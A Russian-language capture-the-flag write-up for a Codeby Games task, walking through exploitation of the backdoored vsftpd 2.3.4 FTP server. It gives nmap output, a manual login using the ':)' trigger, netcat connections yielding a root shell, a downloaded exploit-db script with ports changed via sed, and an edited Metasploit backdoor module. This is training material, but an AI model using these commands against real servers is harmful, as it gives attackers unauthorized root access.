Ссылка на задание: Игры Кодебай | CTF-платформа
Анализ.
Прежде просканируем порты утилитой Nmap с опцией -А:
Bash:
└─$ nmap -A 62.173.140.174 -p 10007,10008
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-04 07:22 EST
Nmap scan report for codeby.games (62.173.140.174)
Host is up (0.032s latency).
PORT STATE SERVICE VERSION
10007/tcp open ftp vsftpd 2.3.4
10008/tcp filtered octopus
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.40 seconds
Из результатов сканирования видим, что на 10007 порту работает ftp-сервер vsftpd версии 2.3.4.
Погуглим уязвимости для этой версии и на каком-нибудь сайте найдем такое описание:
Код:
В июле 2011 года было обнаружено, что версия vsftpd 2.3.4, которую можно загрузить с главного сайта, была скомпрометирована.
Пользователи, заходящие на взломанный сервер vsftpd-2.3.4, могут использовать смайлик :) в качестве имени пользователя и получить
командную оболочку на порту 6200. Это не было проблемой дыры в безопасности в vsftpd, вместо этого кто-то загрузил другую версию
vsftpd, который содержал бэкдор. С тех пор сайт был перенесен на Google App Engine.
Решение 1.
Попробуем подключиться к FTP-серверу.Помним, что при вводе логина обязательно указать смайлик , пароль - любой.
Открываем терминал и подключаемся:
Bash:
└─$ ftp 62.173.140.174 10007
Connected to 62.173.140.174.
220 (vsFTPd 2.3.4)
Name (62.173.140.174:kali): ALT1RE:)
331 Please specify the password.
Password:
После ввода пароля сервер подвис и ничего не происходит. Проверим - вдруг он ожидает нас на 6200 порту.
Попробуем подключиться к нему во втором терминале:
Bash:
└─$ nc 62.173.140.174 6200
(UNKNOWN) [62.173.140.174] 6200 (?) : Connection refused
Нет - там нас никто не ждет.
Вспоминаем, что в описании к заданию был дан еще один порт - 10008. Пробуем подключиться к нему:
Bash:
└─$ nc 62.173.140.174 10008
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)
Вводим команду 'id' и понимаем что мы под рутом.
Осталось лишь найти флаг в каком-то файле и сдать его на площадке.
Формат флага: CODEBY{eT0_nE_f1@g}
Решение 2.
Всего ранее описанного можно было не проделывать, а найти, например на exploit-db.com, готовый экплойт, ИССЛЕДОВАТЬ исходный код, отредактировать в нем порты (21=>10007, 6200=>10008) и запустить:
Bash:
└─$ wget https://www.exploit-db.com/download/49757
└─$ sed -i 's/21/10007/g' 49757
└─$ sed -i 's/6200/10008/g' 49757
└─$ python3 49757 62.173.140.174
/home/kali/49757:11: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
from telnetlib import Telnet
Success, shell opened
Send `exit` to quit shell
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
При возникновении проблем с версиями модуля telnetlib: типа "DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13" чтобы не вникать в зависимости, попробуйте найти другой эксплойт - например этот.
Скачайте его, посмотрите исходный код (ну мало ли что там) редактируем порты - вместо 21го 10007, вместо 6200 - 10008:
Bash:
└─$ nano exploit.py
...
def __init__(self,ip,port=10007):
...
...
io = remote(self.ip, 10008)
...
Запустите и получите рута:
Bash:
└─$ python3 exploit.py 62.173.140.174
[+] Got Shell!!!
[+] Opening connection to 62.173.140.174 on port 10007: Done
[*] Closed connection to 62.173.140.174 port 10007
[+] Opening connection to 62.173.140.174 on port 10008: Done
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
Решение 3.
Хотите проэксплуатировать используя фреймворк Metasploit? - запускаем его и ищем подходящий эксплойт:
Bash:
msf6 > search vsftpd
В базе метасплойта нашлось два эксплойта для vsftpd:
Нам нужен эксплойт для версии 2.3.4 - выбираем:
Bash:
msf6 > use 1
или
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
Мы знаем, что ftp-сервер работает на порту 10007, адрес удаленного хоста 62.173.140.174 и при удачной эксплуатации сервер отдаст шелл на 10008 порт - зададим параметры эксплойта:
Bash:
set RHOST 62.173.140.174
set RPORT 10007
Но куда вписывать 10008 порт?! - а некуда его указывать, в эксплойте не предусмотрена возможность редактировать порт для обратного шелла и при удачной эксплуатации он будет ожидать его на 6200 порту.
Ну и ладно - оставим как есть и запустим эксплойт командой "exploit":
После запуска Метасплойт сообщает "Эксплойт исполнен, но сессия не была создана" - оно и понятно, ведь он ожидал его не на том порту.
Я вижу два решения: редактировать эксплойт или подключиться Netcat'ом к нужному порту, ведь половина работы уже проделана и, возможно, сервер готов отдаться нам.
Пробуем неткатом - в новом терминале подключаемся к 10008 порту:
Bash:
└─$ nc 62.173.140.174 10008
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
Введя команду "id", видим что мы под рутом - забираем флаг.
Давайте теперь попробуем отредактировать эксплойт.
Переходим в каталог с исходным кодом нужного эксплойта и, например, в редакторе nano попробуем изменить порт:
Bash:
└─$ cd /usr/share/metasploit-framework/modules/exploits/unix/ftp/
└─$ sudo nano vsftpd_234_backdoor.rb
Находим две строки:
Bash:
nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
Меняем порт 6200 на 10008 в обоих. Должно получиться так:
Bash:
nsock = self.connect(false, {'RPORT' => 10008}) rescue nil
Перезапускаем metasploit и запускаем эксплойт (не забудьте настроить его):
Дальше находим флаг и сдаем его на площадке.
Мне просто было интересно как это выглядит в исходниках
Скачал себе файл /root/vsftpd-2.3.4/vsftpd и скормил его IDA.
Тут без комментраиев:
Скачал себе файл /root/vsftpd-2.3.4/vsftpd и скормил его IDA.
Тут без комментраиев:
Последнее редактирование: